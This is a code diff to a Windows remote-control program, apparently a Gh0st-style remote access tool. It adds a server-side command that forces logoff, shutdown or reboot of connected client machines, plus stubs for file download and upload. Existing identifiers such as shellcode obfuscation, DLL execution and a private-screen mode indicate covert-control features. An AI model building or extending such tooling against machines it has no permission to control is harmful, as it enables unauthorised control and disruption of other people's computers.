diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 1d75e38..10baf22 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -365,6 +365,34 @@ BOOL IsRunningAsAdmin()
return isAdmin;
}
+bool EnableShutdownPrivilege() {
+ HANDLE hToken;
+ TOKEN_PRIVILEGES tkp;
+
+ // 打开当前进程的令牌
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
+ return false;
+ }
+
+ // 获取关机权限的 LUID
+ if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) {
+ CloseHandle(hToken);
+ return false;
+ }
+
+ tkp.PrivilegeCount = 1;
+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ // 启用关机权限
+ if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) {
+ CloseHandle(hToken);
+ return false;
+ }
+
+ CloseHandle(hToken);
+ return true;
+}
+
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -377,6 +405,29 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) {
+ case TOKEN_MACHINE_MANAGE:
+ if (ulLength <= 1 || !EnableShutdownPrivilege()) break;
+#ifdef _DEBUG
+ Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]);
+ break;
+#endif
+ switch (szBuffer[1])
+ {
+ case MACHINE_LOGOUT: {
+ ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
+ break;
+ }
+ case MACHINE_SHUTDOWN: {
+ ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
+ break;
+ }
+ case MACHINE_REBOOT: {
+ ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
+ break;
+ }
+ default:
+ break;
+ }
case CMD_RUNASADMIN: {
char curFile[_MAX_PATH] = {};
GetModuleFileName(NULL, curFile, MAX_PATH);
diff --git a/common/commands.h b/common/commands.h
index 18260e6..734f16f 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -191,6 +191,7 @@ enum {
TOKEN_CHAT_START = 62, // Զ̸̽
TOKEN_UNINSTALL = 63, // ж
TOKEN_PRIVATESCREEN = 64, // ˽Ļ
+ TOKEN_MACHINE_MANAGE = 65, //
// ˷ıʶ
TOKEN_AUTH = 100, // Ҫ֤
@@ -264,6 +265,12 @@ enum {
CMD_EXECUTE_DLL = 240, // ִд
};
+enum MachineCommand {
+ MACHINE_LOGOUT,
+ MACHINE_SHUTDOWN,
+ MACHINE_REBOOT,
+};
+
enum ProxyManager {
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_BIND_RESULT,
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index fcba139..67b6a03 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index a256a80..675488a 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -50,6 +50,7 @@
#define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
#define TIMER_CLOSEWND 2
+#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
typedef struct {
const char* szTitle; //列表的名称
@@ -356,6 +357,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
+ m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -486,6 +488,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab)
ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode)
+ ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup)
+ ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown)
+ ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot)
+ ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload)
+ ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload)
+ ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout)
END_MESSAGE_MAP()
@@ -1477,6 +1485,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
+ Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
@@ -3369,3 +3378,53 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
*pResult = 0;
}
+
+
+void CMy2015RemoteDlg::OnOnlineRegroup()
+{
+ TODO_NOTICE;
+}
+
+
+void CMy2015RemoteDlg::MachineManage(MachineCommand type) {
+ if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
+ EnterCriticalSection(&m_cs);
+ POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
+ while (Pos) {
+ int iItem = m_CList_Online.GetNextSelectedItem(Pos);
+ context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
+ BYTE token[32] = { TOKEN_MACHINE_MANAGE, type };
+ ContextObject->Send2Client(token, sizeof(token));
+ }
+ LeaveCriticalSection(&m_cs);
+ }
+}
+
+void CMy2015RemoteDlg::OnMachineLogout()
+{
+ MachineManage(MACHINE_LOGOUT);
+}
+
+
+void CMy2015RemoteDlg::OnMachineShutdown()
+{
+ MachineManage(MACHINE_SHUTDOWN);
+}
+
+
+void CMy2015RemoteDlg::OnMachineReboot()
+{
+ MachineManage(MACHINE_REBOOT);
+}
+
+
+void CMy2015RemoteDlg::OnExecuteDownload()
+{
+ TODO_NOTICE;
+}
+
+
+void CMy2015RemoteDlg::OnExecuteUpload()
+{
+ TODO_NOTICE;
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 28cc2a4..4c2bed9 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -228,7 +228,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
- CBitmap m_bmOnline[17];
+ CBitmap m_bmOnline[18];
uint64_t m_superID;
enum {
STATUS_UNKNOWN = -1,
@@ -323,4 +323,11 @@ public:
CTabCtrl m_GroupTab;
afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnObfsShellcode();
+ afx_msg void OnOnlineRegroup();
+ afx_msg void OnMachineShutdown();
+ afx_msg void OnMachineReboot();
+ afx_msg void OnExecuteDownload();
+ afx_msg void OnExecuteUpload();
+ afx_msg void OnMachineLogout();
+ void MachineManage(MachineCommand type);
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 39d7540..ded396f 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -405,6 +405,7 @@
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index 243b89c..763b293 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -165,6 +165,7 @@
+
diff --git a/server/2015Remote/res/Bitmap/EditGroup.bmp b/server/2015Remote/res/Bitmap/EditGroup.bmp
new file mode 100644
index 0000000..786c9cb
Binary files /dev/null and b/server/2015Remote/res/Bitmap/EditGroup.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index c9fb71f..dc39aee 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ